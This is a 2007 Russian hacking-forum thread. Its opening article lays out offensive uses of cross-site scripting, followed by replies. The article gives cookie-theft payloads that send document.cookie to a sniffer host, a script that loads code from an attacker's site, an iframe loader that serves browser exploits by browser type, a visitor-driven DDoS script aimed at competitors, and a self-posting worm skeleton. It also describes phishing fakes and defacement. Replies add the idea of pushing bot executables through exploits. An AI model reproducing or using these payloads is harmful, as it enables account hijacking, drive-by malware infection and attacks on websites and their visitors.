Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Авторские статьи (https://forum.antichat.xyz/forumdisplay.php?f=31)
-   -   Темная сторона Xss (https://forum.antichat.xyz/showthread.php?t=42326)

Constantine 16.06.2007 03:43

Темная сторона Xss
 
Интро
Статья уже давно готовилась мной, ее предтече стало ВОТ ЭТО голосование, в котором многие заявили что xss это уязвиость вчеращнего дня, сейчас я попытаюсь опровергнуть это утверждение Основная масса людей считают что xss может использоваться только для кражи cookies, либо исключительно ради эстетического удовольствия лицезрения красивых окошек с различными надписями))
В этой статье я не буду рассматривать сложные xss вектора и не буду расписывать различные способы обхода фильтрации, различные формы построения вектора, вложенные скрипты- обо всем этом можно почитать совершив поиск по форуму

План

Говорить будем по следующему плану, постораюсь осветить все хитрости cross site scripting

1)Кража куков
2)Фейк\Дефейсы
3)Троянизация удаленного юзера
4)ДДос
5)xss черви
6)Менее используемые методы

Мэйн

1
Итак самое распространенный и самое юзаемый вид xss атак:
Интеграция xss вектора( читай яваскрипт кода ), который выполняясь в браузере клиента отсылает куки на снифер, далее происходит подмена авторизационных данных, ну а дальше Садом и Гомора на любой вкус)) (читай - делай что хочешь)

Напомню самые простые конструкции xss векторов приминимых в любом браузере

Код:

<script>document.location="SNIFFER"+document.cookie</script>
<script>img=new Image();img.src="SNIFFER"+document.cookie</script>

2
Некотрые просто уверены, что кроме шутливого дефейса ничего сделать нельзя Что ж иногда даже в таком дефейсе есть некий шарм, например деф сделаный мной на каком то кинемотографическом портале Вектор можно посмотреть здесь:
PHP код:

 http://c0nstantine.jino-net.ru/xss.txt 

Кому то может показаться забавным, но вот поддельная новость на сайти Файненшанал таймс ( xss там есть ), это уже будет не очень смешно

С другой строны фейк метод позволяет получить вожделенный пароль не очень опытного пользователя. Чаще всего юзается такой способ: пользователь редиректится на фейковую страничку, предворительно подготовленную, с схожим с основным ресурсом урлом (например ranbler). С другой стороны, даже в известном журнале Хацкер, упоминали о возможной подмене адресной строки в браузере по средствам нами любимого Яваскрипта, что заметно улучшает внешний вид фейка(http://www.securitylab.ru/vulnerability/291585.php)))
Так же можно действовать методом связаных xss веторов, вообщем действуйте по обстоятельствам

С другой стороны можно использовать обьект яваскрипт - XMLHTTPrequeset, в таком случае работает php снифер и сформированый xss вектор, который с поомощью XMLHTTPrequeset передает интересующую нас информацию об удаленном пользователе:

Код:

function HTTPRequest (url)

{

if (window.XMLHttpRequest) {

req = new XMLHttpRequest();

req.onreadystatechange = processReqChange;

req.open("GET", url, true);

req.send(null);

} else if (window.ActiveXObject) {

req = new ActiveXObject("Microsoft.XMLHTTP");

if (req) {

req.onreadystatechange = processReqChange;

req.open("GET", url, true);

req.send();

}

}

return (req.responseText);

}


var XSSCode = HTTPRequest ("http://hacker-site.com/xss.php");



3
Пожалуй наиболее опасный способ использования xss: Троянизация производится посредством использования эксплойтов для популярных браузеров. Чтобы убить сразу двух зайцев, используем уже приевшийся Яваскрипт)). А именно navigator.appNAME.
Составляем приблизительно следующий вектор:
Код:

<script language="JavaScript">
if(navigator.appName == 'Браузер1')document.write('<iframe src="сплойт для бразуера1">');
if(navigator.appName == 'Браузер2')document.write('<iframe src="сплойт для бразуера2">');
if(navigator.appName == 'Браузер3')document.write('<iframe src="сплойт для бразуера3">');
</script>

можно юзать какие-то более изысканные конструкции, но, имхо, так вполне функционально, понятно что этот вектор слишком грамоздкий чтобы его интегрировать в тело документа напрямую: создаем файлик blabla.js с данным кодом и далее используем конструкцию:
PHP код:

<script src="http://oursite/blabla.js"></script

Если речь идет о работе только с одним видом браузера, то можно использовать облегченную конструкцию
PHP код:

<iframe src="сплойт для браузера"></script



4
ДДос(мемберы МОА и выше не читают этот раздел=)))

Сразу надо оговориться, что для использования такого типа ДДоса и получения "неформального" ботнета, страничка с интегрированым кодом должна быть достаточно посещаемой =)
Используем тот же метод что и во втором пункте

Код:

<script language="javascript">
var req;
var targets = new Array("http://конкурент1","http://конкурент2");// Создаем массив, куда помещаем будущих неудачников
function SendHTTP(url) {
    req = false;
    if (window.XMLHttpRequest) { //  не ИЕ
        req = new XMLHttpRequest();
    } else if (window.ActiveXObject) { // ИЕ
        req = new ActiveXObject("Microsoft.XMLHTTP");
    }
    if (req) {
            req.open("GET", url, true);
            req.send();
    }
}
function terror() {
    for (i=0;i<targets.length;i++) {
          SendHTTP(targets[i]);
          }
}
</script>

Так же создаем файлик с данным кодом и инжектим вектор с помощью
PHP код:

<script src="http://oursite.ru/zloy.js"></script

5
xss черви очень любопытный вид xss атаки, все же требует использования активных xss: перманентное размещение на сервере и отсутствие необходимости рекламить страничку с интегрированым кодом, а ваш заикссесеный профиль или тему будут просматривать гораздо чаще, чем сформированый и разосланый линк(хотя тоже можно юзать). Естественно каждый попавший в заиксесенную ловушку выполнит в браузере злонамеренный код, фокус червя в том, что он вдобавок ко всему может сам себя постить на форуме или в блоге, снова

используем XMLHttpRequest.


Код:

function HTTPRequest (url)

{

if (window.XMLHttpRequest) {  // не ИЕ

req = new XMLHttpRequest();

req.onreadystatechange = processReqChange;

req.open("GET", url, true);
вы
req.send(null);


} else if (window.ActiveXObject) {  //ИЕ

req = new ActiveXObject("Microsoft.XMLHTTP");

if (req) {

req.onreadystatechange = processReqChange;

req.open("GET", url, true);

req.send();

}

}

}




При этом ничто не мешает совместит DDos атаки и код xss червя...
Внедряем в код xss вектора скрипт для отправки сообщений и вот пошла рассылка спама. Вообщем делайте что в голову всбредет и до чего руки дотянутся. Благо все выложенные мной скрипты публичны и скомбинировать их, создать цепочки выполняемых кодов врят ли составит труда.

6

Напоследок несколько слов о наименее используемых видах атак, вкратце.

Раскрутка заказного сайта: соответсвенно реализуеться так же как и ДДос
Подмена личной информции пользователя: в теории то возможно, сейчас пытаюсь понять реализацию, как только разберусь- допишу


Энд


В качестве финального слова скажу, что использования активных xss более уместно при выполнение какого то из этих пунктов.

Спасибо за внимание

Снял видео по теме, можно посмотреть
PHP код:

 http://filefront.jino-net.ru/xss.rar 


Isis 16.06.2007 06:35

Ничего нового не узнал...
Про ддос вообще бред...сколько же надо лохов найти =\
Да и все что здесь написано также можно найти с помощью поиска

KEZ 16.06.2007 07:17

насчет ддос,
если страничка посещаемая, то вместо твоего скрипта проще засунуть эксплойт и лить exe с ботом посетителям
что за бред...

n1†R0x 16.06.2007 08:28

Цитата:

Сообщение от KEZ
насчет ддос,
если страничка посещаемая, то вместо твоего скрипта проще засунуть эксплойт и лить exe с ботом посетителям
что за бред...

автор в пункте 3 написал как-то об этом..

Constantine 16.06.2007 12:03

Цитата:

Сообщение от KEZ
насчет ддос,
если страничка посещаемая, то вместо твоего скрипта проще засунуть эксплойт и лить exe с ботом посетителям
что за бред...

Насчет ДДос, мой яваскрипт выполниться в любом браузере, а вот достать экспойт с хорошим пробивом даже для IE сейчас трудновато =\

gemaglabin 16.06.2007 12:38

Тема не освещена и на 50 процентов , иди дорабатывай.

_Great_ 16.06.2007 13:24

Тема сисек не раскрыта. Бузя раскрыл лучше

KSURi 16.06.2007 15:47

Кстати зря насчет ддос через фреймы ругались... Неплохо работает

pento 16.06.2007 18:15

Цитата:

Сообщение от Constantine
Интро
С другой стороны можно использовать обьект яваскрипт - XMLHTTPrequeset, в таком случае работает php снифер и сформированый xss вектор, который с поомощью XMLHTTPrequeset передает интересующую нас информацию об удаленном пользователе:

Код:

function HTTPRequest (url)

{

if (window.XMLHttpRequest) {

req = new XMLHttpRequest();

req.onreadystatechange = processReqChange;

req.open("GET", url, true);

req.send(null);

} else if (window.ActiveXObject) {

req = new ActiveXObject("Microsoft.XMLHTTP");

if (req) {

req.onreadystatechange = processReqChange;

req.open("GET", url, true);

req.send();

}

}

return (req.responseText);

}


var XSSCode = HTTPRequest ("http://hacker-site.com/xss.php");


А что уже можно с помощью XMLHttpRequest() делать запросы на "чужой" сайт? В смысле со страницы http://ya.ru c помощью этого объекта делать запросы на http://xacker.com?

uncaught exception: Permission denied to call method XMLHttpRequest.open

P.S. XSS вектор - какое-то странное определение...имхо

Constantine 16.06.2007 22:48

Чтобы получить информацию от пользователя зарегестрированного на http://ya.ru, тебе нужна xss непосредственно на ya.ru
Открой учебник по Яваскрипту и почитай про обьект XMLHttpRequest
Xss вектор это оригинальное определение, оно мне нраится, я считаю его подходящим


Время: 22:42